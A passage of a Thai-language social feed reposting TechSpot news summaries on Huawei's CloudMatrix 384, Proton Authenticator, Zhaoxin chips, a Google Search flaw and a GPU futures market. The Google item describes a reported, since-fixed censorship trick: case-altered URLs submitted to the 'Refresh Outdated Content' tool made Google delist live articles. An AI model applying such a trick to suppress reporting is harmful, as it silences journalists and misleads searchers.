จีนกำลังผลักดัน ecosystem ด้าน AI แบบครบวงจร ตั้งแต่ชิปถึงโมเดล
มีการตั้งพันธมิตรระหว่างผู้ผลิตชิปและนักพัฒนา LLM
เป้าหมายคือสร้างระบบ AI ที่ไม่ต้องพึ่งพาตะวันตก

ระบบ CloudMatrix 384 ใช้พลังงานมากกว่าระบบ Nvidia ถึง 3.9 เท่า
ประสิทธิภาพต่อวัตต์ต่ำกว่า Nvidia ถึง 2.3 เท่า
อาจไม่เหมาะกับประเทศที่มีข้อจำกัดด้านพลังงาน

ชิป Ascend 910C ยังไม่สามารถเทียบเท่า Nvidia H100 ในงาน training
เหมาะกับ inference มากกว่า training ที่ต้องใช้ความเสถียรสูง
ยังขาด ecosystem ด้านซอฟต์แวร์ที่เทียบเท่า CUDA

ระบบ CloudMatrix ยังไม่มี benchmark สาธารณะหรือการทดสอบจากองค์กรอิสระ
ข้อมูลส่วนใหญ่มาจาก Huawei และ SemiAnalysis
ต้องรอการพิสูจน์จากการใช้งานจริงในระยะยาว

รัฐบาลสหรัฐฯ เตรียมออกมาตรการลงโทษบริษัทที่ใช้ชิป Ascend 910C ทั่วโลก
อ้างว่าใช้เทคโนโลยีที่มีต้นกำเนิดจากสหรัฐฯ
อาจส่งผลต่อบริษัทต่างชาติที่ร่วมใช้งานระบบนี้

https://www.techspot.com/news/108891-huawei-cloudmatrix-384-ai-system-poised-challenge-nvidia.html

🎙️ เรื่องเล่าจากข่าว: Huawei CloudMatrix 384—AI ซูเปอร์คลัสเตอร์ที่ท้าชน Nvidia ด้วยพลังแห่งการรวมชิป ในงาน World Artificial Intelligence Conference 2025 ที่เซี่ยงไฮ้ Huawei ได้เปิดตัวระบบ CloudMatrix 384 ซึ่งเป็นซูเปอร์คลัสเตอร์ AI ที่ประกอบด้วยชิป Ascend 910C จำนวน 384 ตัว เชื่อมต่อกันด้วยโครงสร้างแบบ “all-to-all mesh” ผ่านสายออปติกความเร็วสูง แม้ชิปแต่ละตัวจะมีประสิทธิภาพต่ำกว่า Nvidia H100 แต่ Huawei ใช้กลยุทธ์ “จำนวนมาก + การออกแบบระบบ” เพื่อชดเชยข้อเสีย และสามารถให้ประสิทธิภาพรวมสูงกว่าระบบ Nvidia GB200 NVL72 ได้ในหลายด้าน เช่น: - ความเร็วในการประมวลผล BF16 สูงกว่า 1.7 เท่า - ความจุหน่วยความจำสูงกว่า 3.6 เท่า - แบนด์วิดธ์หน่วยความจำสูงกว่า 2.1 เท่า อย่างไรก็ตาม ระบบนี้ใช้พลังงานมากกว่าถึง 3.9 เท่า และมีประสิทธิภาพต่อวัตต์ต่ำกว่าถึง 2.3 เท่า ซึ่งอาจเป็นข้อจำกัดสำคัญในตลาดโลก แต่สำหรับจีนที่มีแหล่งพลังงานหลากหลายและราคาถูก นี่อาจไม่ใช่ปัญหา ✅ Huawei เปิดตัวระบบ CloudMatrix 384 ในงาน WAIC 2025 ที่เซี่ยงไฮ้ ➡️ ใช้ชิป Ascend 910C จำนวน 384 ตัว เชื่อมต่อแบบ all-to-all mesh ด้วยสายออปติก ➡️ ออกแบบมาเพื่อแข่งขันกับ Nvidia GB200 NVL72 ✅ ระบบสามารถประมวลผลได้ถึง 300 PFLOPs แบบ BF16 ➡️ สูงกว่า Nvidia GB200 NVL72 ที่ทำได้ 180 PFLOPs ➡️ เหมาะสำหรับงาน inference ของโมเดลขนาดใหญ่ ✅ Ascend 910C มีประสิทธิภาพประมาณ 60% ของ Nvidia H100 ในงาน inference ➡️ ใช้เทคนิค dual-chiplet และหน่วยความจำ HBM2E ขนาด 128 GB ➡️ ผลิตโดย SMIC ด้วยเทคโนโลยี 7nm รุ่นใหม่ ✅ ระบบมีความจุหน่วยความจำรวม 49.2 TB และแบนด์วิดธ์รวม 1229 TB/s ➡️ สูงกว่า Nvidia GB200 NVL72 ถึง 3.6 เท่าในด้านความจุ และ 2.1 เท่าในด้านแบนด์วิดธ์ ➡️ รองรับการเชื่อมต่อแบบ scale-out ได้ถึง 165,000 NPU ✅ ระบบ CloudMatrix 384 ถูกติดตั้งแล้วบน Huawei Cloud และพร้อมใช้งานจริง ➡️ ใช้ในงาน AI training และ inference ระดับองค์กร ➡️ เป็นส่วนหนึ่งของยุทธศาสตร์ลดการพึ่งพาเทคโนโลยีต่างชาติ ✅ Nvidia GB200 NVL72 ใช้ชิป Grace CPU 36 ตัว และ Blackwell GPU 72 ตัว ➡️ ออกแบบให้ทำงานร่วมกันเป็น “GPU ขนาดยักษ์” สำหรับโมเดลระดับล้านล้านพารามิเตอร์ ➡️ มีข้อจำกัดด้านการส่งออกไปยังจีน ✅ Huawei ใช้สายออปติก 800G LPO จำนวน 6,912 เส้นในการเชื่อมต่อภายในระบบ ➡️ ลด latency และเพิ่ม bandwidth ได้อย่างมหาศาล ➡️ เป็นการออกแบบที่เน้น “ระบบ” มากกว่าชิปเดี่ยว ✅ DeepSeek AI ใช้ Ascend 910C สำหรับ inference และพบว่าประสิทธิภาพ “เกินคาด” ➡️ ใช้เทคนิคแปลง CUDA เป็น CUNN ด้วยโค้ดเพียงบรรทัดเดียว ➡️ ช่วยลดต้นทุนและลดการพึ่งพา Nvidia ✅ จีนกำลังผลักดัน ecosystem ด้าน AI แบบครบวงจร ตั้งแต่ชิปถึงโมเดล ➡️ มีการตั้งพันธมิตรระหว่างผู้ผลิตชิปและนักพัฒนา LLM ➡️ เป้าหมายคือสร้างระบบ AI ที่ไม่ต้องพึ่งพาตะวันตก ‼️ ระบบ CloudMatrix 384 ใช้พลังงานมากกว่าระบบ Nvidia ถึง 3.9 เท่า ⛔ ประสิทธิภาพต่อวัตต์ต่ำกว่า Nvidia ถึง 2.3 เท่า ⛔ อาจไม่เหมาะกับประเทศที่มีข้อจำกัดด้านพลังงาน ‼️ ชิป Ascend 910C ยังไม่สามารถเทียบเท่า Nvidia H100 ในงาน training ⛔ เหมาะกับ inference มากกว่า training ที่ต้องใช้ความเสถียรสูง ⛔ ยังขาด ecosystem ด้านซอฟต์แวร์ที่เทียบเท่า CUDA ‼️ ระบบ CloudMatrix ยังไม่มี benchmark สาธารณะหรือการทดสอบจากองค์กรอิสระ ⛔ ข้อมูลส่วนใหญ่มาจาก Huawei และ SemiAnalysis ⛔ ต้องรอการพิสูจน์จากการใช้งานจริงในระยะยาว ‼️ รัฐบาลสหรัฐฯ เตรียมออกมาตรการลงโทษบริษัทที่ใช้ชิป Ascend 910C ทั่วโลก ⛔ อ้างว่าใช้เทคโนโลยีที่มีต้นกำเนิดจากสหรัฐฯ ⛔ อาจส่งผลต่อบริษัทต่างชาติที่ร่วมใช้งานระบบนี้ https://www.techspot.com/news/108891-huawei-cloudmatrix-384-ai-system-poised-challenge-nvidia.html

WWW.TECHSPOT.COM

Huawei's CloudMatrix 384 could outpace Nvidia in the AI race, study suggests
As newly appointed US tech czar David Sacks predicted just a month ago, Trump's tariffs appear to be backfiring in spectacular fashion. Chinese tech giant Huawei is...

0 Comments 0 Shares 69 Views 0 Reviews

Please log in to like, share and comment!
ลุงบ้าคอม shared a link
2025-08-01 02:32:30 -

เรื่องเล่าจากข่าว: Proton Authenticator แอป 2FA ที่ให้คุณควบคุมข้อมูลตัวเองได้เต็มที่

Proton เปิดตัวแอปใหม่ชื่อ “Proton Authenticator” ซึ่งเป็นแอปสำหรับสร้างรหัสยืนยันตัวตนแบบสองขั้นตอน (2FA) โดยไม่ต้องพึ่ง SMS ที่เสี่ยงต่อการถูกโจมตีแบบ SIM swapping แอปนี้ออกแบบมาเพื่อเป็นทางเลือกที่ปลอดภัยและโปร่งใสกว่าของ Google Authenticator, Microsoft Authenticator, Authy และ Duo

จุดเด่นของ Proton Authenticator คือ:
- ฟรีและเปิดซอร์ส
- ไม่มีโฆษณา ไม่มีการติดตาม
- รองรับการซิงก์ข้ามอุปกรณ์ด้วยการเข้ารหัสแบบ end-to-end
- ใช้งานได้แม้ไม่มีอินเทอร์เน็ต
- รองรับการนำเข้าและส่งออกโค้ดจากแอปอื่น
- มีระบบล็อกด้วย PIN หรือ biometric

Proton ยืนยันว่าแอปนี้ไม่เก็บข้อมูลผู้ใช้ ไม่แชร์กับบุคคลที่สาม และได้รับการตรวจสอบจากผู้เชี่ยวชาญภายนอกแล้ว

Proton เปิดตัวแอป Proton Authenticator สำหรับการยืนยันตัวตนแบบสองขั้นตอน (2FA)
ใช้รหัสแบบ TOTP ที่หมดอายุทุก 30 วินาที
แทนการใช้ SMS ที่เสี่ยงต่อการถูกโจมตี

แอปนี้ฟรี เปิดซอร์ส และไม่มีโฆษณาหรือการติดตามผู้ใช้
แตกต่างจาก Google, Microsoft และ Authy ที่มีการเก็บข้อมูลหรือแสดงโฆษณา
ได้รับการตรวจสอบจากผู้เชี่ยวชาญภายนอก

รองรับทุกแพลตฟอร์ม: Android, iOS, Windows, macOS, Linux
ใช้งานได้ทั้งบนมือถือและเดสก์ท็อป
ไม่จำเป็นต้องมีบัญชี Proton ก็ใช้ได้

มีฟีเจอร์ซิงก์ข้ามอุปกรณ์ด้วยการเข้ารหัสแบบ end-to-end
รหัสจะถูกเก็บและซิงก์อย่างปลอดภัย
สามารถสำรองข้อมูลอัตโนมัติและใช้งานแบบออฟไลน์ได้

สามารถนำเข้าและส่งออกโค้ดจากแอปอื่นได้อย่างง่ายดาย
ไม่ล็อกผู้ใช้ไว้กับแพลตฟอร์มเดียว
ช่วยให้เปลี่ยนมาใช้ Proton ได้สะดวก

มีระบบล็อกแอปด้วย PIN หรือ biometric เพื่อเพิ่มความปลอดภัย
ป้องกันการเข้าถึงโดยไม่ได้รับอนุญาต
ตั้งเวลาล็อกอัตโนมัติได้ตามต้องการ

ผู้ใช้บางรายอาจยังไม่คุ้นเคยกับการใช้แอป 2FA แทน SMS
อาจต้องใช้เวลาในการปรับตัวและตั้งค่า
หากไม่สำรองโค้ดไว้ อาจสูญเสียการเข้าถึงบัญชี

การซิงก์ข้ามอุปกรณ์ต้องใช้บัญชี Proton สำหรับการเข้ารหัส
แม้จะไม่บังคับ แต่ผู้ใช้ที่ต้องการฟีเจอร์นี้ต้องสมัครบัญชี
อาจไม่สะดวกสำหรับผู้ที่ต้องการใช้งานแบบไม่ผูกกับบริการใด

แอปใหม่อาจยังไม่มีการรองรับจากบริการบางแห่งเท่ากับแอปยอดนิยม
บางเว็บไซต์อาจแนะนำเฉพาะ Google หรือ Microsoft Authenticator
ต้องตรวจสอบก่อนว่ารองรับการใช้งานกับ Proton หรือไม่

https://www.techspot.com/news/108888-proton-launches-free-open-source-authenticator-app-take.html

🎙️ เรื่องเล่าจากข่าว: Proton Authenticator แอป 2FA ที่ให้คุณควบคุมข้อมูลตัวเองได้เต็มที่ Proton เปิดตัวแอปใหม่ชื่อ “Proton Authenticator” ซึ่งเป็นแอปสำหรับสร้างรหัสยืนยันตัวตนแบบสองขั้นตอน (2FA) โดยไม่ต้องพึ่ง SMS ที่เสี่ยงต่อการถูกโจมตีแบบ SIM swapping แอปนี้ออกแบบมาเพื่อเป็นทางเลือกที่ปลอดภัยและโปร่งใสกว่าของ Google Authenticator, Microsoft Authenticator, Authy และ Duo จุดเด่นของ Proton Authenticator คือ: - ฟรีและเปิดซอร์ส - ไม่มีโฆษณา ไม่มีการติดตาม - รองรับการซิงก์ข้ามอุปกรณ์ด้วยการเข้ารหัสแบบ end-to-end - ใช้งานได้แม้ไม่มีอินเทอร์เน็ต - รองรับการนำเข้าและส่งออกโค้ดจากแอปอื่น - มีระบบล็อกด้วย PIN หรือ biometric Proton ยืนยันว่าแอปนี้ไม่เก็บข้อมูลผู้ใช้ ไม่แชร์กับบุคคลที่สาม และได้รับการตรวจสอบจากผู้เชี่ยวชาญภายนอกแล้ว ✅ Proton เปิดตัวแอป Proton Authenticator สำหรับการยืนยันตัวตนแบบสองขั้นตอน (2FA) ➡️ ใช้รหัสแบบ TOTP ที่หมดอายุทุก 30 วินาที ➡️ แทนการใช้ SMS ที่เสี่ยงต่อการถูกโจมตี ✅ แอปนี้ฟรี เปิดซอร์ส และไม่มีโฆษณาหรือการติดตามผู้ใช้ ➡️ แตกต่างจาก Google, Microsoft และ Authy ที่มีการเก็บข้อมูลหรือแสดงโฆษณา ➡️ ได้รับการตรวจสอบจากผู้เชี่ยวชาญภายนอก ✅ รองรับทุกแพลตฟอร์ม: Android, iOS, Windows, macOS, Linux ➡️ ใช้งานได้ทั้งบนมือถือและเดสก์ท็อป ➡️ ไม่จำเป็นต้องมีบัญชี Proton ก็ใช้ได้ ✅ มีฟีเจอร์ซิงก์ข้ามอุปกรณ์ด้วยการเข้ารหัสแบบ end-to-end ➡️ รหัสจะถูกเก็บและซิงก์อย่างปลอดภัย ➡️ สามารถสำรองข้อมูลอัตโนมัติและใช้งานแบบออฟไลน์ได้ ✅ สามารถนำเข้าและส่งออกโค้ดจากแอปอื่นได้อย่างง่ายดาย ➡️ ไม่ล็อกผู้ใช้ไว้กับแพลตฟอร์มเดียว ➡️ ช่วยให้เปลี่ยนมาใช้ Proton ได้สะดวก ✅ มีระบบล็อกแอปด้วย PIN หรือ biometric เพื่อเพิ่มความปลอดภัย ➡️ ป้องกันการเข้าถึงโดยไม่ได้รับอนุญาต ➡️ ตั้งเวลาล็อกอัตโนมัติได้ตามต้องการ ‼️ ผู้ใช้บางรายอาจยังไม่คุ้นเคยกับการใช้แอป 2FA แทน SMS ⛔ อาจต้องใช้เวลาในการปรับตัวและตั้งค่า ⛔ หากไม่สำรองโค้ดไว้ อาจสูญเสียการเข้าถึงบัญชี ‼️ การซิงก์ข้ามอุปกรณ์ต้องใช้บัญชี Proton สำหรับการเข้ารหัส ⛔ แม้จะไม่บังคับ แต่ผู้ใช้ที่ต้องการฟีเจอร์นี้ต้องสมัครบัญชี ⛔ อาจไม่สะดวกสำหรับผู้ที่ต้องการใช้งานแบบไม่ผูกกับบริการใด ‼️ แอปใหม่อาจยังไม่มีการรองรับจากบริการบางแห่งเท่ากับแอปยอดนิยม ⛔ บางเว็บไซต์อาจแนะนำเฉพาะ Google หรือ Microsoft Authenticator ⛔ ต้องตรวจสอบก่อนว่ารองรับการใช้งานกับ Proton หรือไม่ https://www.techspot.com/news/108888-proton-launches-free-open-source-authenticator-app-take.html

WWW.TECHSPOT.COM

Proton launches free and open-source Authenticator app to take on Google and Microsoft
Proton Authenticator is positioned as a privacy-focused alternative to authentication apps from Google, Microsoft, Authy, and Duo. It replaces legacy SMS-based verification by generating unique login codes...

0 Comments 0 Shares 52 Views 0 Reviews

Please log in to like, share and comment!
ลุงบ้าคอม shared a link
2025-08-01 02:30:43 -

เรื่องเล่าจากข่าว: Zhaoxin เปิดตัวชิป AI รุ่นใหม่ หวังลดการพึ่งพาเทคโนโลยีต่างชาติ

ในงาน World Artificial Intelligence Conference 2025 ที่เซี่ยงไฮ้ Zhaoxin ได้เปิดตัวสองชิปรุ่นใหม่ ได้แก่:
- KaiXian KX-7000N สำหรับคอมพิวเตอร์ส่วนบุคคลที่เน้นการใช้งาน AI
- Kaisheng KH-50000 สำหรับเซิร์ฟเวอร์ที่ต้องการประสิทธิภาพสูงในการประมวลผลข้อมูล

KX-7000N เป็นชิปแรกของ Zhaoxin ที่มี Neural Processing Unit (NPU) ในตัว เพื่อรองรับงาน AI แบบเรียลไทม์ เช่น การสร้างเนื้อหาอัจฉริยะ การรู้จำใบหน้า และการประมวลผลภาพแบบออฟไลน์

ส่วน KH-50000 เป็นชิปเซิร์ฟเวอร์ที่มีถึง 96 คอร์ เพิ่มขึ้นจากรุ่นก่อนถึง 3 เท่า พร้อมแคช L3 ขนาด 384 MB และรองรับ PCIe 5.0 ถึง 128 เลน รวมถึงหน่วยความจำ DDR5 แบบ 12 ช่อง พร้อมระบบเชื่อมต่อ ZPI 5.0 ที่สามารถต่อชิปได้ถึง 4 ตัวในเมนบอร์ดเดียว รวมเป็น 384 คอร์

แม้ยังไม่เปิดเผยสถาปัตยกรรมใหม่อย่างเป็นทางการ แต่การเพิ่มประสิทธิภาพอย่างก้าวกระโดดบ่งชี้ว่า Zhaoxin กำลังพัฒนาเทคโนโลยีของตนเองอย่างจริงจัง เพื่อแข่งขันกับ AMD EPYC 9004 และ Intel Xeon

Zhaoxin เปิดตัวชิปใหม่ 2 รุ่นในงาน WAIC 2025 ที่เซี่ยงไฮ้
KaiXian KX-7000N สำหรับ AI PC และ Kaisheng KH-50000 สำหรับเซิร์ฟเวอร์
เป็นส่วนหนึ่งของยุทธศาสตร์ลดการพึ่งพาเทคโนโลยีต่างชาติ

KaiXian KX-7000N เป็นชิปแรกของ Zhaoxin ที่มี NPU ในตัว
รองรับงาน AI เช่น การรู้จำใบหน้า การเขียนเอกสารอัจฉริยะ และการสร้างภาพ
เพิ่มจำนวนคอร์และเปลี่ยนจาก PCIe 4.0 เป็น PCIe 5.0

Kaisheng KH-50000 มี 96 คอร์ และแคช L3 ขนาด 384 MB
เพิ่มจากรุ่นก่อน KH-40000 ที่มีเพียง 32 คอร์และแคช 64 MB
รองรับ 128 PCIe 5.0 lanes และ DDR5 ECC แบบ 12 ช่อง

KH-50000 รองรับการเชื่อมต่อหลายชิปผ่าน ZPI 5.0
สามารถต่อได้สูงสุด 4 ชิปต่อเมนบอร์ด รวมเป็น 384 คอร์
เหมาะสำหรับงาน AI training และ inference ในระดับองค์กร

Zhaoxin ยังไม่เปิดเผยสถาปัตยกรรมใหม่ แต่คาดว่าไม่ใช่ Yongfeng รุ่นเดิม
การเพิ่มคอร์และฟีเจอร์บ่งชี้ถึงการออกแบบใหม่
อาจเป็นก้าวสำคัญในการแข่งขันกับ AMD และ Intel

https://www.techspot.com/news/108881-zhaoxin-debuts-advanced-consumer-server-chips-shanghai-conference.html

🎙️ เรื่องเล่าจากข่าว: Zhaoxin เปิดตัวชิป AI รุ่นใหม่ หวังลดการพึ่งพาเทคโนโลยีต่างชาติ ในงาน World Artificial Intelligence Conference 2025 ที่เซี่ยงไฮ้ Zhaoxin ได้เปิดตัวสองชิปรุ่นใหม่ ได้แก่: - KaiXian KX-7000N สำหรับคอมพิวเตอร์ส่วนบุคคลที่เน้นการใช้งาน AI - Kaisheng KH-50000 สำหรับเซิร์ฟเวอร์ที่ต้องการประสิทธิภาพสูงในการประมวลผลข้อมูล KX-7000N เป็นชิปแรกของ Zhaoxin ที่มี Neural Processing Unit (NPU) ในตัว เพื่อรองรับงาน AI แบบเรียลไทม์ เช่น การสร้างเนื้อหาอัจฉริยะ การรู้จำใบหน้า และการประมวลผลภาพแบบออฟไลน์ ส่วน KH-50000 เป็นชิปเซิร์ฟเวอร์ที่มีถึง 96 คอร์ เพิ่มขึ้นจากรุ่นก่อนถึง 3 เท่า พร้อมแคช L3 ขนาด 384 MB และรองรับ PCIe 5.0 ถึง 128 เลน รวมถึงหน่วยความจำ DDR5 แบบ 12 ช่อง พร้อมระบบเชื่อมต่อ ZPI 5.0 ที่สามารถต่อชิปได้ถึง 4 ตัวในเมนบอร์ดเดียว รวมเป็น 384 คอร์ แม้ยังไม่เปิดเผยสถาปัตยกรรมใหม่อย่างเป็นทางการ แต่การเพิ่มประสิทธิภาพอย่างก้าวกระโดดบ่งชี้ว่า Zhaoxin กำลังพัฒนาเทคโนโลยีของตนเองอย่างจริงจัง เพื่อแข่งขันกับ AMD EPYC 9004 และ Intel Xeon ✅ Zhaoxin เปิดตัวชิปใหม่ 2 รุ่นในงาน WAIC 2025 ที่เซี่ยงไฮ้ ➡️ KaiXian KX-7000N สำหรับ AI PC และ Kaisheng KH-50000 สำหรับเซิร์ฟเวอร์ ➡️ เป็นส่วนหนึ่งของยุทธศาสตร์ลดการพึ่งพาเทคโนโลยีต่างชาติ ✅ KaiXian KX-7000N เป็นชิปแรกของ Zhaoxin ที่มี NPU ในตัว ➡️ รองรับงาน AI เช่น การรู้จำใบหน้า การเขียนเอกสารอัจฉริยะ และการสร้างภาพ ➡️ เพิ่มจำนวนคอร์และเปลี่ยนจาก PCIe 4.0 เป็น PCIe 5.0 ✅ Kaisheng KH-50000 มี 96 คอร์ และแคช L3 ขนาด 384 MB ➡️ เพิ่มจากรุ่นก่อน KH-40000 ที่มีเพียง 32 คอร์และแคช 64 MB ➡️ รองรับ 128 PCIe 5.0 lanes และ DDR5 ECC แบบ 12 ช่อง ✅ KH-50000 รองรับการเชื่อมต่อหลายชิปผ่าน ZPI 5.0 ➡️ สามารถต่อได้สูงสุด 4 ชิปต่อเมนบอร์ด รวมเป็น 384 คอร์ ➡️ เหมาะสำหรับงาน AI training และ inference ในระดับองค์กร ✅ Zhaoxin ยังไม่เปิดเผยสถาปัตยกรรมใหม่ แต่คาดว่าไม่ใช่ Yongfeng รุ่นเดิม ➡️ การเพิ่มคอร์และฟีเจอร์บ่งชี้ถึงการออกแบบใหม่ ➡️ อาจเป็นก้าวสำคัญในการแข่งขันกับ AMD และ Intel https://www.techspot.com/news/108881-zhaoxin-debuts-advanced-consumer-server-chips-shanghai-conference.html

WWW.TECHSPOT.COM

Zhaoxin unveils new consumer and server CPUs aimed at challenging global semiconductor giants
This week, Chinese semiconductor company Zhaoxin introduced its latest generation of consumer and enterprise processors at the 2025 World Artificial Intelligence Conference in Shanghai. Two new flagship...

0 Comments 0 Shares 52 Views 0 Reviews

Please log in to like, share and comment!
ลุงบ้าคอม shared a link
2025-08-01 02:29:20 -

เรื่องเล่าจากข่าว: ช่องโหว่ Google ที่ถูกใช้ลบข่าวไม่พึงประสงค์แบบแนบเนียน

นักข่าวอิสระ Jack Poulson พบว่าบทความของเขาเกี่ยวกับการจับกุม CEO ชื่อ Delwin Maurice Blackman ในปี 2021 ได้หายไปจากผลการค้นหาของ Google แม้จะค้นหาด้วยชื่อบทความแบบตรงเป๊ะก็ไม่เจอ

หลังจากตรวจสอบร่วมกับ Freedom of the Press Foundation (FPF) พบว่า มีผู้ไม่ประสงค์ดีใช้เครื่องมือ “Refresh Outdated Content” ของ Google เพื่อส่งคำขอให้ลบ URL ที่ดูเหมือนจะล้าสมัย โดยใช้เทคนิคเปลี่ยนตัวอักษรใน URL ให้เป็นตัวพิมพ์ใหญ่บางตัว เช่น “anatomy” เป็น “AnAtomy” ทำให้ Google เข้าใจผิดว่า URL นั้นเสีย (404) และลบ URL จริงที่ยังใช้งานได้ออกจากดัชนีการค้นหาไปด้วย

Google ยืนยันว่ามีช่องโหว่นี้จริง และได้แก้ไขแล้ว แต่ไม่เปิดเผยว่ามีเว็บไซต์ใดได้รับผลกระทบบ้าง และไม่มีระบบติดตามว่าใครเป็นผู้ส่งคำขอเหล่านั้น

นักข่าว Jack Poulson พบว่าบทความของเขาหายไปจาก Google Search โดยไม่ทราบสาเหตุ
แม้จะค้นหาด้วยชื่อบทความแบบตรงก็ไม่พบในผลการค้นหา
บทความเกี่ยวข้องกับการจับกุม CEO Premise Data ในคดีความรุนแรงในครอบครัว

Freedom of the Press Foundation ตรวจสอบและพบช่องโหว่ในเครื่องมือ Refresh Outdated Content ของ Google
ผู้ใช้สามารถส่งคำขอให้ลบ URL ที่ดูเหมือนล้าสมัยได้ แม้จะไม่ใช่เจ้าของเว็บไซต์
การเปลี่ยนตัวอักษรใน URL ทำให้ Google เข้าใจผิดว่าเป็นลิงก์เสีย

Google ยืนยันว่ามีช่องโหว่นี้จริง และได้แก้ไขแล้วในเดือนมิถุนายน 2025
ระบุว่า “มีผลกระทบต่อเว็บไซต์เพียงส่วนน้อย”
ไม่เปิดเผยจำนวนคำขอที่ถูกใช้ในทางมิชอบ

บทความของ FPF ที่รายงานเรื่องนี้ก็ถูกลบจาก Google Search ด้วยวิธีเดียวกัน
มีการส่งคำขอซ้ำหลายครั้งโดยเปลี่ยนตัวอักษรใน URL ทีละตัว
กลายเป็น “เกมตีตัวตุ่น” ที่ต้องคอยส่งบทความกลับเข้าไปใหม่ตลอด

ผู้เชี่ยวชาญชี้ว่า ช่องโหว่นี้อาจถูกใช้โดยบริษัทจัดการชื่อเสียงหรือบุคคลมีอิทธิพลเพื่อเซ็นเซอร์ข้อมูล
ไม่มีระบบติดตามว่าใครเป็นผู้ส่งคำขอ
เป็นการเซ็นเซอร์แบบเงียบที่ไม่ต้องลบเนื้อหาจริงจากเว็บไซต์

https://www.techspot.com/news/108880-google-search-flaw-allows-articles-vanish-through-clever.html

🎙️ เรื่องเล่าจากข่าว: ช่องโหว่ Google ที่ถูกใช้ลบข่าวไม่พึงประสงค์แบบแนบเนียน นักข่าวอิสระ Jack Poulson พบว่าบทความของเขาเกี่ยวกับการจับกุม CEO ชื่อ Delwin Maurice Blackman ในปี 2021 ได้หายไปจากผลการค้นหาของ Google แม้จะค้นหาด้วยชื่อบทความแบบตรงเป๊ะก็ไม่เจอ หลังจากตรวจสอบร่วมกับ Freedom of the Press Foundation (FPF) พบว่า มีผู้ไม่ประสงค์ดีใช้เครื่องมือ “Refresh Outdated Content” ของ Google เพื่อส่งคำขอให้ลบ URL ที่ดูเหมือนจะล้าสมัย โดยใช้เทคนิคเปลี่ยนตัวอักษรใน URL ให้เป็นตัวพิมพ์ใหญ่บางตัว เช่น “anatomy” เป็น “AnAtomy” ทำให้ Google เข้าใจผิดว่า URL นั้นเสีย (404) และลบ URL จริงที่ยังใช้งานได้ออกจากดัชนีการค้นหาไปด้วย Google ยืนยันว่ามีช่องโหว่นี้จริง และได้แก้ไขแล้ว แต่ไม่เปิดเผยว่ามีเว็บไซต์ใดได้รับผลกระทบบ้าง และไม่มีระบบติดตามว่าใครเป็นผู้ส่งคำขอเหล่านั้น ✅ นักข่าว Jack Poulson พบว่าบทความของเขาหายไปจาก Google Search โดยไม่ทราบสาเหตุ ➡️ แม้จะค้นหาด้วยชื่อบทความแบบตรงก็ไม่พบในผลการค้นหา ➡️ บทความเกี่ยวข้องกับการจับกุม CEO Premise Data ในคดีความรุนแรงในครอบครัว ✅ Freedom of the Press Foundation ตรวจสอบและพบช่องโหว่ในเครื่องมือ Refresh Outdated Content ของ Google ➡️ ผู้ใช้สามารถส่งคำขอให้ลบ URL ที่ดูเหมือนล้าสมัยได้ แม้จะไม่ใช่เจ้าของเว็บไซต์ ➡️ การเปลี่ยนตัวอักษรใน URL ทำให้ Google เข้าใจผิดว่าเป็นลิงก์เสีย ✅ Google ยืนยันว่ามีช่องโหว่นี้จริง และได้แก้ไขแล้วในเดือนมิถุนายน 2025 ➡️ ระบุว่า “มีผลกระทบต่อเว็บไซต์เพียงส่วนน้อย” ➡️ ไม่เปิดเผยจำนวนคำขอที่ถูกใช้ในทางมิชอบ ✅ บทความของ FPF ที่รายงานเรื่องนี้ก็ถูกลบจาก Google Search ด้วยวิธีเดียวกัน ➡️ มีการส่งคำขอซ้ำหลายครั้งโดยเปลี่ยนตัวอักษรใน URL ทีละตัว ➡️ กลายเป็น “เกมตีตัวตุ่น” ที่ต้องคอยส่งบทความกลับเข้าไปใหม่ตลอด ✅ ผู้เชี่ยวชาญชี้ว่า ช่องโหว่นี้อาจถูกใช้โดยบริษัทจัดการชื่อเสียงหรือบุคคลมีอิทธิพลเพื่อเซ็นเซอร์ข้อมูล ➡️ ไม่มีระบบติดตามว่าใครเป็นผู้ส่งคำขอ ➡️ เป็นการเซ็นเซอร์แบบเงียบที่ไม่ต้องลบเนื้อหาจริงจากเว็บไซต์ https://www.techspot.com/news/108880-google-search-flaw-allows-articles-vanish-through-clever.html

WWW.TECHSPOT.COM

Google search flaw allows articles to vanish through "clever" censorship tactics
Someone successfully censored a pair of uncomfortable articles that were previously accessible through Google Search. The unknown party exploited a clever trick along with a bug in...

0 Comments 0 Shares 68 Views 0 Reviews

Please log in to like, share and comment!
ลุงบ้าคอม shared a link
2025-08-01 02:28:03 -

เรื่องเล่าจากข่าว: GPU กำลังจะกลายเป็นสินทรัพย์การเงินที่ซื้อขายได้

Startup ชื่อ OneChronos จับมือกับ Auctionomics บริษัทออกแบบตลาดที่ก่อตั้งโดย Paul Milgrom นักเศรษฐศาสตร์รางวัลโนเบล เพื่อสร้าง “ตลาดซื้อขายล่วงหน้า GPU” แห่งแรกของโลก โดยเป้าหมายคือให้ผู้ใช้งานสามารถ “ล็อกราคา” และ “จัดการความเสี่ยง” ของการเข้าถึง GPU ได้เหมือนกับการซื้อขายสินค้าโภคภัณฑ์ เช่น น้ำมันหรือไฟฟ้า

ในยุคที่ AI เติบโตอย่างรวดเร็ว GPU กลายเป็นทรัพยากรที่มีค่ามากที่สุด แต่กลับไม่มีเครื่องมือทางการเงินใดที่ช่วยให้บริษัทสามารถวางแผนหรือป้องกันความเสี่ยงจากราคาที่ผันผวนได้เลย

ตลาดใหม่นี้จะใช้ระบบ “การประมูลแบบอัจฉริยะ” เพื่อให้ผู้ใช้งานสามารถเสนอราคาสำหรับเวลาใช้งาน GPU หรือความจุที่ต้องการ โดย Auctionomics จะช่วยออกแบบกลไกตลาดให้มีประสิทธิภาพ โปร่งใส และสามารถจัดสรรทรัพยากรได้อย่างเหมาะสม

OneChronos และ Auctionomics ร่วมกันสร้างตลาดซื้อขายล่วงหน้า GPU แห่งแรกของโลก
ใช้ระบบประมูลอัจฉริยะเพื่อจัดสรรทรัพยากร GPU อย่างมีประสิทธิภาพ
เปรียบเสมือน “ตลาดซื้อขายน้ำมัน” สำหรับโลก AI

Paul Milgrom นักเศรษฐศาสตร์รางวัลโนเบล เป็นผู้ออกแบบกลไกตลาด
เคยออกแบบการประมูลคลื่นความถี่ที่เปลี่ยนโฉมวงการโทรคมนาคม
ใช้ทฤษฎีเกมและคณิตศาสตร์เพื่อสร้างแรงจูงใจที่เหมาะสม

GPU ถูกมองว่าเป็น “สินทรัพย์องค์กรที่ยังไม่มีการป้องกันความเสี่ยง” ที่ใหญ่ที่สุดในโลก
ไม่มีเครื่องมือทางการเงินใดที่ช่วยล็อกราคาหรือจัดการความเสี่ยง
